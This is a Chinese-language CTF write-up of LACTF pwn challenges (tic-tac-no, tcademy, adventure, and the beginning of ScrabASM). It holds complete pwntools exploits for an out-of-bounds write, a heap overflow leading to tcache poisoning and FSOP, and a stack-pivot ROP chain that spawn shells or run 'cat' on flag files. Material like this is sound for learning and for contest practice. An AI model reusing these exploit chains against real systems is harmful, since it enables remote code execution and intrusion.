新年快乐,抽空把之前攒的 wp 整理了一下,本次LACTF比赛整体难度适中,pwn 部分的考点相对常规,刚好都顺利解出了。这里记录一下这部分题目的解题过程,供大家参考
tic-tac-no
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
题目给了一个井字棋程序,电脑用 minimax 算法下棋,理论上不可能输。要求玩家赢下电脑才能拿到 flag
直接看下题目给的chall.c
关键在 playerMove() 函数:
void playerMove() {
int x, y;
do{
printf("Enter row #(1-3): ");
scanf("%d", &x);
printf("Enter column #(1-3): ");
scanf("%d", &y);
int index = (x-1)*3+(y-1);
if(index >= 0 && index < 9 && board[index] != ' '){
printf("Invalid move.\n");
}else{
board[index] = player; // Should be safe, given that the user cannot overwrite tiles on the board
break;
}
}while(1);
}
这段逻辑的意图是:如果落子位置已经有棋子,就拒绝。但条件写反了——只有当 index 在 [0,8] 范围内 且 格子非空时才判定 Invalid。对于越界的 index(比如负数),整个 if 条件为假,直接走进 else 分支执行 board[index] = player,实现了一次相对于 board 的任意偏移写,写入值固定为 player
目标是让 main 函数最后的判断 winner == player 成立
在IDA里关注几个全局变量的地址:
.data:0000000000004050 player db 'X'
.data:0000000000004051 computer db 'O'
.bss:0000000000004068 board db 9 dup(0)
player 和 computer 紧挨着放在 .data 段,board 在 .bss 段,三者之间的偏移关系是固定的。
computer 相对于 board 的偏移:0x4051 - 0x4068 = -0x17 = -23
checkWin() 返回的是三连棋子的字符值,player 的值是 'X'
如果我们把 computer 变量从 'O' 改成 'X',那电脑下的棋子也变成了 'X'。整个棋盘上只会出现 'X',三连是迟早的事。而不管是谁的回合触发了三连,checkWin() 返回的都是 'X',和 player 相等,程序就会认为玩家赢了,打印 flag
计算输入值:index = (x-1)*3 + (y-1) = -23,取 x = -7, y = 2 即可
第一步用越界写篡改 computer,之后随意落子等三连出现就行
exp
from pwn import *
r = remote('chall.lac.tf', 30001)
# 越界写,篡改 computer 变量为 'X'
r.recvuntil(b'Enter row #(1-3): ')
r.sendline(b'-7')
r.recvuntil(b'Enter column #(1-3): ')
r.sendline(b'2')
# 随便下,等三连触发胜利判定
moves = [(1,1), (1,2), (1,3), (2,1), (2,2), (2,3), (3,1), (3,2), (3,3)]
for row, col in moves:
try:
r.recvuntil(b'Enter row #(1-3): ', timeout=5)
except:
break
r.sendline(str(row).encode())
try:
r.recvuntil(b'Enter column #(1-3): ', timeout=5)
except:
break
r.sendline(str(col).encode())
r.interactive()
tcademy
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
main 的 switch 非常短,直接能看到四个分支对应创建、删除、打印、退出
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
if ( v3 == 4 )
{
puts("goodbye!");
exit(0);
}
if ( v3 > 4 )
break;
switch ( v3 )
{
case 3:
print_note();
break;
case 1:
create_note();
break;
case 2:
delete_note();
break;
default:
goto LABEL_12;
}
}
LABEL_12:
puts("Invalid option");
exit(1);
}
create_note()里只检查了size > 0xF8,所以 size=0~7 都合法
unsigned __int64 create_note()
{
unsigned __int16 size; // [rsp+2h] [rbp-Eh] BYREF
unsigned int note_index; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
note_index = get_note_index();
if ( notes[note_index] )
{
puts("Already allocated! Free the note first");
}
else
{
printf("Size: ");
__isoc99_scanf("%hu", &size);
if ( size > 0xF8u )
{
puts("Invalid size!!!");
exit(1);
}
notes[note_index] = malloc(size);
printf("Data: ");
read_data_into_note(note_index, notes[note_index], size);
puts("Note created!");
}
return v3 - __readfsqword(0x28u);
}
漏洞在read_data_into_note里面
unsigned __int8 *__fastcall read_data_into_note(__int64 a1, unsigned __int8 *note, __int16 a3)
{
unsigned __int16 resized_size; // ax
unsigned __int8 *result; // rax
int v5; // [rsp+1Ch] [rbp-4h]
if ( a3 == 8 )
resized_size = 1;
else
resized_size = a3 - 8;
v5 = read(0, note, resized_size);
if ( v5 < 0 )
{
puts("Read error");
exit(1);
}
result = (unsigned __int8 *)note[v5 - 1];
if ( (_BYTE)result == 10 )
{
result = ¬e[v5 - 1];
*result = 0;
}
return result;
}
resized_size是unsigned short
当a3(size)<8时会发生下溢,例如 a3=0:0-8 = -8,存到 unsigned short 变成 0xFFF8(65528)
接着 read(0, note, resized_size) 会往很小的堆块(甚至 malloc(0))里读 65528 字节,直接超大 heap overflow
gdb里可以确认,size=0时,read的第三参数$rdx变成0xfff8
► 0x5555555553af <read_data_into_note+68> call read@plt <read@plt>
fd: 0 (/dev/pts/2)
buf: 0x5555555592a0 ◂— 0
nbytes: 0xfff8
利用思路(glibc 2.35):先布置 A/B/C,A、B 申请 0x10,实际 chunk 大小 0x20。C 申请 0xf8,实际 chunk 大小 0x100
[ 内存物理顺序 (低地址 -> 高地址) ]
Idx=0(曾用) Idx=1 Idx=0(曾用)
+------------------+------------------+--------------------------+
| 块 A | 块 B | 块 C |
| 状态: 空闲(Free) | 状态: 使用中 | 状态: 空闲,在tcache缓存 |
| 真实大小: 0x20 | 真实大小: 0x20 | 真实大小: 0x100 |
+------------------+------------------+--------------------------+
先释放 C 到 tcache[0x110],再用 A 的 size=0 超大溢出覆盖 C 的 size,把它伪造成 0x431(同时补上 fake next size 和 top 头,避免 allocator 一致性检查当场炸掉)
分配 0 字节 (实际分配到了块A的位置)
|
v (payload一路越界向下覆盖)
+------------------+------------------+--------------------------+
| 溢出块 | 被恶意覆盖头部 | 大小被篡改 |
| (原块 A 的位置) | 块 B | 块 C |
| | | 被改大小: 0x431 |
+------------------+------------------+--------------------------+
随后把伪造后的 C 从 tcache 取出再 free,C 作为大块进入 unsorted。再次申请 0xf8 从 unsorted carve chunk 时,只写 8 字节,让 +0x8 处的 unsorted 链指针保留下来,show 用 puts 打印出这段数据,按 UNSORTED_FD_OFF=0x21B0D0 得到 libc base
接下来做 safe-linking key 恢复,先从 0x20 bin 的 B 节点拿到 heap>>12 的尾字节,再构造 0x110 bin 的 X -> Y,读取 X 节点残留得到 f = Y ^ (X>>12) 的尾字节,然后对低位做枚举,h 基本是唯一
拿到 h 后就能构造目标指针的 safe-linking 编码:enc = target ^ h,target 选 _IO_2_1_stderr_,投毒的时候把 X 的 tcache fd 改成 enc
[tcache 头部] ---> 块 X ---> _IO_2_1_stderr
随后连续两次 malloc(0xf8),第一次拿回 X,第二次直接把分配落到 stderr 地址
在 X 上先放 fake wide_data,保证 wide 写缓冲状态满足检查,再把 _wide_vtable 指向 X 内部可控区域,并在 +0x68 放 system,然后覆写 stderr 的关键字段,把 stderr 的 _wide_data 指针,指向我们在前面布置好的块 X 的地址
FSOP 准备好后发送菜单 4 触发 exit,glibc 做 flush 时走到被篡改的 stderr 路径,执行 system(" sh")
EXP
from pwn import *
import re
import sys
from collections import Counter
context.arch = "amd64"
context.os = "linux"
context.log_level = "error"
HOST = "chall.lac.tf"
PORT = 31144
BANNER = b"_____________________________\n"
# libc 2.35-0ubuntu3.8 offsets (from challenge Docker base image)
UNSORTED_FD_OFF = 0x21B0D0
STDERR_OFF = 0x21B6A0
STDOUT_OFF = 0x21B780
SYSTEM_OFF = 0x50D70
IO_WFILE_JUMPS_OFF = 0x2170C0
STDERR_BASEPTR_OFF = 0x21B723
STDERR_LOCK_OFF = 0x21CA60
CMD = (
b"echo __PWNED__ ; "
b"cat /app/flag.txt 2>&1 ; "
b"cat /app/flag 2>&1 ; "
b"cat /flag.txt 2>&1 ; "
b"cat /flag 2>&1 ; "
b"cat /home/ctf/flag.txt 2>&1 ; "
b"cat /home/ctf/flag 2>&1 ; "
b"cat /home/*/flag.txt 2>&1 ; "
b"cat /home/*/flag 2>&1"
)
def menu(io, c):
io.sendlineafter(b"Choice > ", str(c).encode())
def create(io, idx, size, data, wait=True):
menu(io, 1)
io.sendlineafter(b"Index: ", str(idx).encode())
io.sendlineafter(b"Size: ", str(size).encode())
io.sendafter(b"Data: ", data)
if wait:
io.recvuntil(b"Note created!\n")
def delete(io, idx):
menu(io, 2)
io.sendlineafter(b"Index: ", str(idx).encode())
io.recvuntil(b"Note deleted!\n")
def show(io, idx):
menu(io, 3)
io.sendlineafter(b"Index: ", str(idx).encode())
blob = io.recvuntil(BANNER, drop=False)
return blob[:-len(BANNER)]
def p64w(buf, off, val):
buf[off:off + 8] = p64(val)
def parse_flag(buf):
m = re.search(rb"(lactf\{[^\r\n}]*\})", buf)
if m:
return m.group(1)
m = re.search(rb"(flag\{[^\r\n}]*\})", buf, flags=re.IGNORECASE)
if m:
return m.group(1)
return None
def recover_h_and_xlow(leak_h_tail, leak_f_tail):
# leak_h_tail: bytes from h[1:] where h = heap >> 12
# leak_f_tail: bytes from f[1:] where f = Y ^ h, Y = X + 0x100
if len(leak_h_tail) < 2 or len(leak_f_tail) < 2:
return []
# If puts() stopped early on a NUL byte, missing higher bytes are almost
# always zero in canonical userspace addresses.
h_hi = u64(leak_h_tail[:7].ljust(8, b"\x00")) << 8
n = min(len(leak_f_tail), 7)
want = leak_f_tail[:n]
out = []
for h0 in range(256):
h = h_hi | h0
for x_low12 in range(0, 0x1000, 0x10):
y = ((h << 12) + x_low12 + 0x100) & 0xFFFFFFFFFFFFFFFF
f = y ^ h
if p64(f)[1:1 + n] == want:
out.append((h, x_low12))
return out
def try_once(variant):
io = remote(HOST, PORT)
stage = "start"
try:
stage = "layout"
# A/B/C layout
create(io, 0, 0x10, b"A" * 8)
create(io, 1, 0x10, b"B" * 8)
delete(io, 0)
create(io, 0, 0xF8, b"C" * 0xF0)
delete(io, 0) # C -> tcache[0x110]
stage = "forge"
# Re-alloc A(0x20) with underflow overflow; forge C.size=0x431.
payload = bytearray(b"D" * 0x500)
p64w(payload, 0x10, 0x0) # B.prev_size
p64w(payload, 0x18, 0x21) # B.size
p64w(payload, 0x38, 0x431) # C.size (while C is in tcache)
p64w(payload, 0x468, 0x21) # fake next size for forged C
p64w(payload, 0x488, 0x21) # fake-next-next in-use
p64w(payload, 0x140, 0x0) # top.prev_size
p64w(payload, 0x148, 0x20D51) # top.size
create(io, 0, 0, bytes(payload))
stage = "heap_leak"
# Free B slot and leak h = B >> 12 from tcache metadata.
delete(io, 1)
create(io, 1, 0x10, b"b")
b_line = show(io, 1) # b'b' + h[1:] + '\n'
if len(b_line) < 3:
return "heap_short", None
leak_h_tail = b_line[1:-1]
if len(leak_h_tail) < 2:
return "heap_tail_short", None
delete(io, 1)
stage = "unsorted_leak"
# Pop forged C from tcache.
create(io, 1, 0xF8, b"Q")
# Free forged C to unsorted
delete(io, 1)
# Leak libc from the first 0xF8 allocation carved out of unsorted C.
# Write 8 bytes so bk pointer at offset 0x8 remains intact for leak.
create(io, 1, 0xF8, b"L" * 8)
leak_line = show(io, 1)
if len(leak_line) < 9:
return "libc_short", None
leak = u64(leak_line[8:-1].ljust(8, b"\x00"))
if leak < UNSORTED_FD_OFF:
return "libc_small", None
libc_base = leak - UNSORTED_FD_OFF
if (libc_base & 0xFFF) != 0:
return "libc_unaligned", None
stage = "xy_setup"
# note1 is now X, create Y from the remaining part.
delete(io, 0) # free A back to tcache[0x20]
create(io, 0, 0xF8, b"Y") # Y
# Build tcache list as X -> Y, then leak f = Y ^ h from X->fd.
delete(io, 0) # free Y
delete(io, 1) # free X (head=X->Y)
stage = "f_leak"
# Leak X->fd tail: f = Y ^ (X >> 12)
create(io, 1, 0xF8, b"R")
fd_line = show(io, 1) # b'R' + f[1:] + '\n'
if len(fd_line) < 4:
return "fd_short", None
leak_f_tail = fd_line[1:-1]
if len(leak_f_tail) < 2:
return "fd_tail_short", None
stage = "recover"
cands = recover_h_and_xlow(leak_h_tail, leak_f_tail)
if not cands:
return "recover_fail", None
hs = sorted({h for h, _ in cands})
if len(hs) != 1:
# In practice this should be unique; if not, retry.
return "recover_h_ambiguous", None
cshr = hs[0]
# x_low12 is under-constrained by leaked tails (typically 16 values).
# Startup heap layout puts X at +0x2e0 from heap base on this chall.
xs = sorted({x for _, x in cands})
if not xs:
return "recover_x_empty", None
ordered_xs = [0x2E0] + [x for x in xs if x != 0x2E0] if 0x2E0 in xs else xs
x_low12 = ordered_xs[variant % len(ordered_xs)]
# Put X back so tcache head is X again (head was Y after alloc X).
delete(io, 1)
target = libc_base + STDERR_OFF
enc = target ^ cshr
stage = "poison"
# Re-alloc A(0x20) and poison X->fd (A + 0x40 == X->fd)
poison = bytearray(b"P" * 0x80)
p64w(poison, 0x40, enc)
create(io, 0, 0, bytes(poison))
stage = "fake_x"
# Build fake wide_data at X
# Recover bits 8..11 of x_low12 from y_low12 where y = x + 0x100.
# y1_low = (y_low12 >> 8) & 0xf = ((x_low12 >> 8) + 1) & 0xf.
x_addr = (cshr << 12) | x_low12
if x_addr < 0x1000:
return "x_addr_bad", None
wide_vtable = x_addr + 0x20
system = libc_base + SYSTEM_OFF
fake_x = bytearray(b"\x00" * 0xF0)
p64w(fake_x, 0x18, 0x0)
p64w(fake_x, 0x20, 0x1)
p64w(fake_x, 0x30, 0x0)
p64w(fake_x, 0x38, 0x0)
p64w(fake_x, 0x88, system) # [wide_vtable + 0x68]
p64w(fake_x, 0xE0, wide_vtable)
create(io, 1, 0xF8, bytes(fake_x))
stage = "fake_fp"
# Next 0xF8 allocation lands on target (stderr FILE)
delete(io, 0) # free A slot
fp = bytearray(b"\x00" * 0xE0)
fp[0:8] = b" sh\x00\x00\x00\x00\x00"
base_ptr = libc_base + STDERR_BASEPTR_OFF
p64w(fp, 0x08, base_ptr)
p64w(fp, 0x10, base_ptr)
p64w(fp, 0x18, base_ptr)
p64w(fp, 0x20, base_ptr)
p64w(fp, 0x28, base_ptr)
p64w(fp, 0x30, base_ptr)
p64w(fp, 0x38, base_ptr)
p64w(fp, 0x40, base_ptr + 1)
p64w(fp, 0x68, libc_base + STDOUT_OFF) # _chain
p64w(fp, 0x70, 2)
p64w(fp, 0x78, 0xFFFFFFFFFFFFFFFF)
p64w(fp, 0x88, libc_base + STDERR_LOCK_OFF)
p64w(fp, 0x90, 0xFFFFFFFFFFFFFFFF)
p64w(fp, 0xA0, x_addr) # fake wide_data
p64w(fp, 0xC0, 1) # _mode > 0
p64w(fp, 0xD8, libc_base + IO_WFILE_JUMPS_OFF)
create(io, 0, 0xF8, bytes(fp), wait=False)
stage = "trigger"
# Trigger exit flush; if successful, stderr path calls system(" sh")
io.sendline(b"4")
io.sendline(CMD)
out = io.recvrepeat(2.5)
flg = parse_flag(out)
if flg:
return "success", out
if b"__PWNED__" in out:
stage = "post_shell"
io.sendline(b"ls -al / 2>&1 ; ls -al /app 2>&1 ; cat /app/flag.txt 2>&1")
out += io.recvrepeat(2.0)
if parse_flag(out):
return "success", out
return "pwned_no_flag", None
return "no_shell", None
except EOFError:
return f"eof_{stage}", None
except Exception:
return "exception", None
finally:
try:
io.close()
except Exception:
pass
def main():
max_tries = int(sys.argv[1]) if len(sys.argv) > 1 else 0
i = 0
stats = Counter()
while True:
i += 1
status, out = try_once(i - 1)
stats[status] += 1
if out is not None:
print(f"[+] success on try #{i}")
print(out.decode("latin-1", errors="ignore"))
return
if i % 10 == 0:
top = ", ".join(f"{k}:{v}" for k, v in stats.most_common(5))
print(f"[-] tried {i} times | {top}")
if max_tries and i >= max_tries:
break
print("[-] no success")
if __name__ == "__main__":
main()
lactf{omg_arb_overflow_is_so_powerful}
adventure
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Dockerfile 指出运行环境来自 ubuntu:noble,可推断远端 glibc 版本是 2.39
main 的逻辑是循环读命令,输入缓冲区只有 8 字节,fgets(input, 8, stdin),最多读 7 字节命令
每次命令都会被拷贝到全局 history[move_count],每条历史也是 8 字节,命令解析前 move_count++
fgets(input, sizeof(input), stdin);
strncpy(history[move_count], input, INPUT_SIZE - 1);
history[move_count][INPUT_SIZE - 1] = '\0';
move_count++;
接着看下grab_item()
int grab_item()
{
char *v0; // rax
int v2; // [rsp+Ch] [rbp-4h]
if ( board[16 * player_y + player_x] )
{
v2 = board[16 * player_y + player_x] - 1;
printf(" You pick up the %s!\n", (&item_names)[v2]);
inventory[v2] = 1;
board[16 * player_y + player_x] = 0;
v0 = (&item_names)[v2];
last_item = v0;
if ( v2 == 7 )
LODWORD(v0) = check_flag_password();
}
else
{
LODWORD(v0) = puts(" There is nothing here to grab.");
}
return (int)v0;
}
然后看下item_names的细节

注意到第8个物品是flag,但是当拿到第 8 个物品时会调用 check_flag_password
继续跟进,可以发现漏洞:
int check_flag_password()
{
char *v0; // rax
char s[16]; // [rsp+0h] [rbp-10h] BYREF
puts("");
puts(asc_2680);
puts(asc_2700);
puts(asc_2730);
puts(asc_2760);
puts(asc_2790);
puts("");
printf(" Password: ");
fflush(_bss_start);
v0 = fgets(s, 32, stdin);
if ( v0 )
{
s[strcspn(s, "\n")] = 0;
if ( !strcmp(s, "easter_egg") )
{
puts("");
puts(" *** CONGRATULATIONS! ***");
puts(" The Flag's magic flows through you!");
puts(" You have conquered the dungeon!");
}
else
{
puts("");
puts(" The Flag rejects your words...");
puts(" But you keep it anyway.");
}
LODWORD(v0) = puts("");
}
return (int)v0;
}
16 字节栈缓冲却fgets读了32字节,栈溢出漏洞,而且可以控制 rbp,适合做栈迁移
难点在于main 每次命令最多 7 字节,意味着没法一次性在栈上铺完整 ROP 链
而且程序里几乎没有 pop rdi; ret
注意到init_board 函数会把 main 地址的 8 个字节拆成坐标放道具,第一个放的是 i=7,也就是 Flag
由于 x86_64 用户态地址高字节通常是 0,bytes[7]、bytes[6] 经常是 0,Flag 初始坐标基本落在 (0,0)。玩家初始位置也在 (0,0),所以开局直接输 grab 就能进入 check_flag_password,不需要跑图
init_board 的机制:
- 用 main 地址的 8 个字节,决定 8 个道具初始坐标
- 若冲突就按规则顺延
所以脚本先蛇形扫图拿每个道具坐标,再逆推 main 字节:
道具坐标 -> 每字节候选 -> 组合筛选 -> 唯一 main_addr -> PIE base
我们在游戏中输入的每一个移动指令,都会被存在程序的 .bss 段 (全局数组history)
+-------------------------------------------------------------+
| history[0] = "n" |
| history[1] = "e" |
| … |
| history[x] = [ 伪造的栈底地址 (q0) ] |
| history[x+1]= [ 把 RDI 指向 stdout 的 Gadget (q1) ] | <-- ROP 链开始
| history[x+2]= [ puts@plt+ stdout_addr(q2) ] |
| history[x+3]= [ 刚才得到的main 函数的地址,用于重新开始 (q3) ] |
+-------------------------------------------------------------+
接着利用刚才提到的栈溢出,执行 grab 拿 Flag 触发输入密码,利用微小溢出劫持栈指针
+-------------------+
| 缓冲区 "A"*16 |
+-------------------+
| RBP -> 被改写为 history 数组的地址 (chain_addr_1)
+-------------------+
| RET -> 被改写为 leave; ret 指令
+-------------------+
|
(执行 leave; ret 后,程序的栈被“搬家”到了 history 数组)
系统开始把 history 数组当成栈来执行:
执行 q1 -> 执行 q2 (泄漏 libc 里的 IO_2_1_stdout 地址,然后得到libc 的真实地址) -> 执行 q3 (回到主菜单重新开始)
利用同样的手法进行第二轮,将 q2 改为 system(“cat f*”)
EXP
from pwn import *
import itertools
import re
import sys
context.binary = elf = ELF("./chall", checksec=False)
context.log_level = "info"
context.timeout = 3
HOST = "chall.lac.tf"
PORT = 31337
LIBC_PATH = "/lib/x86_64-linux-gnu/libc.so.6"
ITEMS = [
"Sword",
"Shield",
"Potion",
"Key",
"Scroll",
"Amulet",
"Crown",
"Flag",
]
ITEM_TO_IDX = {name: i for i, name in enumerate(ITEMS)}
RE_LOOK = re.compile(rb"A glimmering ([A-Za-z]+) lies")
RE_MOVE = re.compile(rb"You spot a ([A-Za-z]+) here")
FLAG_RE = re.compile(rb"lactf\{[^}\n]+\}")
MC_RE = re.compile(rb"(\d{1,3})/300")
class ExploitError(Exception):
pass
def recv_prompt(io):
data = io.recvuntil(b"> ", timeout=4)
if not data.endswith(b"> "):
raise ExploitError("prompt timeout/desync")
return data
def send_menu_cmd(io, cmd: bytes):
io.sendline(cmd)
return recv_prompt(io)
def parse_item(data: bytes):
m = RE_LOOK.search(data)
if m:
return m.group(1).decode()
m = RE_MOVE.search(data)
if m:
return m.group(1).decode()
return None
def scan_positions(io):
positions = {}
x, y = 0, 0
cmds = [b"look"]
for row in range(16):
step_cmd = b"e" if row % 2 == 0 else b"w"
for _ in range(15):
cmds.append(step_cmd)
if row != 15:
cmds.append(b"s")
# Return to (0,0) so Flag is immediately grabbable.
cmds.extend([b"n"] * 15)
recv_prompt(io)
io.send(b"\n".join(cmds) + b"\n")
move_count = 0
for cmd in cmds:
out = recv_prompt(io)
move_count += 1
if cmd == b"n":
y -= 1
elif cmd == b"s":
y += 1
elif cmd == b"e":
x += 1
elif cmd == b"w":
x -= 1
item = parse_item(out)
if item:
positions[item] = (x, y)
if (x, y) != (0, 0):
raise ExploitError(f"pathing desync, ended at {(x, y)}")
return positions, move_count
def place_from_byte(b: int, occupied: set):
x = (b >> 4) & 0xF
y = b & 0xF
while (x, y) in occupied:
x = (x + 1) % 16
if x == 0:
y = (y + 1) % 16
return x, y
def recover_pie(positions):
final_pos = {}
for name, idx in ITEM_TO_IDX.items():
if name not in positions:
raise ExploitError(f"missing item position: {name}")
final_pos[idx] = positions[name]
cands = {}
occupied = set()
for i in range(7, -1, -1):
target = final_pos[i]
arr = []
for b in range(256):
if place_from_byte(b, occupied) == target:
arr.append(b)
cands[i] = arr
occupied.add(target)
all_lists = [cands[i] for i in range(8)]
valid = []
for b0, b1, b2, b3, b4, b5, b6, b7 in itertools.product(*all_lists):
main_addr = (
b0
| (b1 << 8)
| (b2 << 16)
| (b3 << 24)
| (b4 << 32)
| (b5 << 40)
| (b6 << 48)
| (b7 << 56)
)
if b7 != 0 or b6 != 0:
continue
if (main_addr & 0xFFF) != (elf.sym.main & 0xFFF):
continue
pie = main_addr - elf.sym.main
if pie < 0 or (pie & 0xFFF):
continue
valid.append(pie)
if len(valid) != 1:
raise ExploitError(f"PIE candidates not unique: {len(valid)}")
return valid[0]
def bytes_ok_for_history(qword_value: int):
b = p64(qword_value)
if b[6] != 0:
return False
for c in b[:6]:
if c == 0x00 or c == 0x0A:
return False
return True
def bytes_ok_for_password(payload31: bytes):
return b"\x0a" not in payload31
def write_qwords_history(io, qwords, move_count):
for q in qwords:
if not bytes_ok_for_history(q):
raise ExploitError(f"qword not encodable in history entry: {hex(q)}")
send_menu_cmd(io, p64(q)[:6])
move_count += 1
return move_count
def parse_stage1_leak(stage1_data: bytes):
marker = b"But you keep it anyway.\n\n"
idx = stage1_data.find(marker)
if idx == -1:
raise ExploitError("failed to find post-password marker")
rest = stage1_data[idx + len(marker) :]
leak = rest.split(b"\n", 1)[0]
if len(leak) < 5:
raise ExploitError(f"leak too short: {leak!r}")
return u64(leak.ljust(8, b"\x00")), leak
def refresh_move_count(io):
out = send_menu_cmd(io, b"inv")
vals = MC_RE.findall(out)
if not vals:
raise ExploitError("failed to parse move_count from inv output")
return int(vals[-1])
def choose_pop_rdi(libc, libc_base):
rop = ROP(libc)
candidates = []
for off, gadget in rop.gadgets.items():
if gadget.insns == ["pop rdi", "ret"]:
candidates.append(off)
candidates = sorted(set(candidates))
for off in candidates:
addr = libc_base + off
if bytes_ok_for_history(addr):
return addr
raise ExploitError("no encodable pop rdi; ret in libc")
def choose_ret_align(libc, libc_base, pie):
# Prefer binary ret for stability, then fallback to libc ret gadgets.
cand = pie + 0x101A
if bytes_ok_for_history(cand):
return cand
rop = ROP(libc)
ret_cands = []
for off, gadget in rop.gadgets.items():
if gadget.insns == ["ret"]:
ret_cands.append(off)
ret_cands = sorted(set(ret_cands))
for off in ret_cands:
addr = libc_base + off
if bytes_ok_for_history(addr):
return addr
raise ExploitError("no encodable ret gadget")
def choose_reentry(pie):
for off in [elf.sym.main, 0x1AE3, 0x1160]:
addr = pie + off
if bytes_ok_for_history(addr):
return addr
raise ExploitError("no encodable re-entry address")
def choose_stage1_rdi_stdout(pie):
for off in [0x1190, 0x11C0]:
addr = pie + off
if bytes_ok_for_history(addr):
return addr
raise ExploitError("no encodable rdi=&stdout gadget")
def choose_stage1_puts_call(pie):
cands = [pie + elf.plt["puts"], pie + 0x10E0, pie + 0x10E4]
for addr in cands:
if bytes_ok_for_history(addr):
return addr
raise ExploitError("no encodable puts call/jump address")
def exploit_once(io, libc):
positions, move_count = scan_positions(io)
pie = recover_pie(positions)
log.info(f"PIE base = {hex(pie)}")
history = pie + elf.sym.history
leave_ret = None
for off in [0x14B7, 0x1E7F, 0x1AD5]:
addr = pie + off
if bytes_ok_for_history(addr):
leave_ret = addr
break
if leave_ret is None:
raise ExploitError("no encodable leave;ret")
# Stage 1: leak stdout pointer from libc with:
# deregister_tm_clones (sets rdi=&stdout) -> puts@plt -> main
q1 = choose_stage1_rdi_stdout(pie)
q2 = choose_stage1_puts_call(pie)
q3 = choose_reentry(pie)
selected = None
for extra in range(0, 16):
chain_addr_1 = history + (move_count + extra) * 8
q0 = chain_addr_1 + 0x100
payload1 = b"A" * 16 + p64(chain_addr_1) + p64(leave_ret)[:7]
if bytes_ok_for_history(q0) and bytes_ok_for_password(payload1):
selected = (extra, chain_addr_1, q0, payload1)
break
if selected is None:
raise ExploitError("cannot place stage1 chain with safe bytes")
extra, chain_addr_1, q0, payload1 = selected
for _ in range(extra):
send_menu_cmd(io, b"x")
move_count += 1
move_count = write_qwords_history(io, [q0, q1, q2, q3], move_count)
io.sendline(b"grab")
move_count += 1
pw = io.recvuntil(b"Password: ", timeout=4)
if not pw.endswith(b"Password: "):
raise ExploitError("stage1 did not reach password prompt")
io.sendline(payload1)
stage1 = io.recvuntil(b"ADVENTURE IN THE DARK MAZE", timeout=6)
if b"ADVENTURE IN THE DARK MAZE" not in stage1:
raise ExploitError("stage1 did not return to main/banner")
stdout_addr, leak_raw = parse_stage1_leak(stage1)
log.info(f"stdout leak raw={leak_raw!r} addr={hex(stdout_addr)}")
# Finish reading the re-entered main banner/help and synchronize.
recv_prompt(io)
recv_prompt(io)
move_count = refresh_move_count(io)
libc_base = stdout_addr - libc.sym["_IO_2_1_stdout_"]
log.info(f"libc base = {hex(libc_base)}")
# Stage 2: system("cat f*")
pop_rdi = choose_pop_rdi(libc, libc_base)
ret_align = choose_ret_align(libc, libc_base, pie)
system = libc_base + libc.sym["system"]
if not bytes_ok_for_history(system):
raise ExploitError("system address not encodable this run")
q5 = choose_reentry(pie)
selected = None
for extra in range(0, 20):
chain_addr_2 = history + (move_count + extra) * 8
cmd_addr = chain_addr_2 + 6 * 8
q0 = chain_addr_2 + 0x200
payload2 = b"B" * 16 + p64(chain_addr_2) + p64(leave_ret)[:7]
if (
bytes_ok_for_history(q0)
and bytes_ok_for_history(cmd_addr)
and bytes_ok_for_password(payload2)
):
selected = (extra, chain_addr_2, cmd_addr, q0, payload2)
break
if selected is None:
raise ExploitError("cannot place stage2 chain with safe bytes")
extra, chain_addr_2, cmd_addr, q0, payload2 = selected
for _ in range(extra):
send_menu_cmd(io, b"x")
move_count += 1
q1 = pop_rdi
q2 = cmd_addr
q3 = ret_align
q4 = system
log.info(
"stage2 qwords: "
+ ", ".join(hex(x) for x in [q0, q1, q2, q3, q4, q5])
)
move_count = write_qwords_history(io, [q0, q1, q2, q3, q4, q5], move_count)
# command string slot
send_menu_cmd(io, b"cat f*")
move_count += 1
io.sendline(b"grab")
move_count += 1
pw = io.recvuntil(b"Password: ", timeout=4)
if not pw.endswith(b"Password: "):
raise ExploitError("stage2 did not reach password prompt")
io.sendline(payload2)
out = io.recvrepeat(2.0)
log.info(f"stage2 raw len={len(out)}")
m = FLAG_RE.search(out)
if not m:
raise ExploitError(f"flag not found in output: {out[:240]!r}")
return m.group(0).decode(), out
def connect():
if args.LOCAL:
return process("./chall")
host = args.HOST or HOST
port = int(args.PORT or PORT)
return remote(host, port)
def main():
libc = ELF(args.LIBC or LIBC_PATH, checksec=False)
attempts = int(args.ATTEMPTS or 8)
last_err = None
for i in range(1, attempts + 1):
io = connect()
try:
log.info(f"attempt {i}/{attempts}")
flag, raw = exploit_once(io, libc)
print(flag)
return
except EOFError as e:
last_err = e
log.warning(f"attempt {i} EOF: {e}")
except ExploitError as e:
last_err = e
log.warning(f"attempt {i} failed: {e}")
finally:
io.close()
raise SystemExit(f"all attempts failed, last error: {last_err}")
if __name__ == "__main__":
main()
lactf{Th3_835T_345T3r_399_i5_4_fl49}
ScrabASM
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
程序会给你分配 14 个字节的“手牌”(也就是一段内存),这些字节全是随机生成的。你可以选择丢弃某张牌,系统会发一张新的随机牌给你。最后,程序会把这 14 个字节当作机器码(Shellcode)直接执行,造成的难点是无法直接输入代码并且空间太小,很难执行orw
题目核心不是传统内存破坏,而是“可预测随机数驱动的受限 shellcode 构造”。程序会生成 14 字节随机手牌,允许无限次重掷单个字节,最后把这 14 字节复制到固定 RWX 地址并直接执行。只要能预测 rand() 序列,就能规划每一步重掷,把 14 字节改造成一段可控机器码
程序流程:
srand(time(NULL))
-> 生成 hand[14](每字节 rand()&0xff)
-> 菜单1:swap_tile(idx) 让 hand[idx] = rand()&0xff
-> 菜单2:play
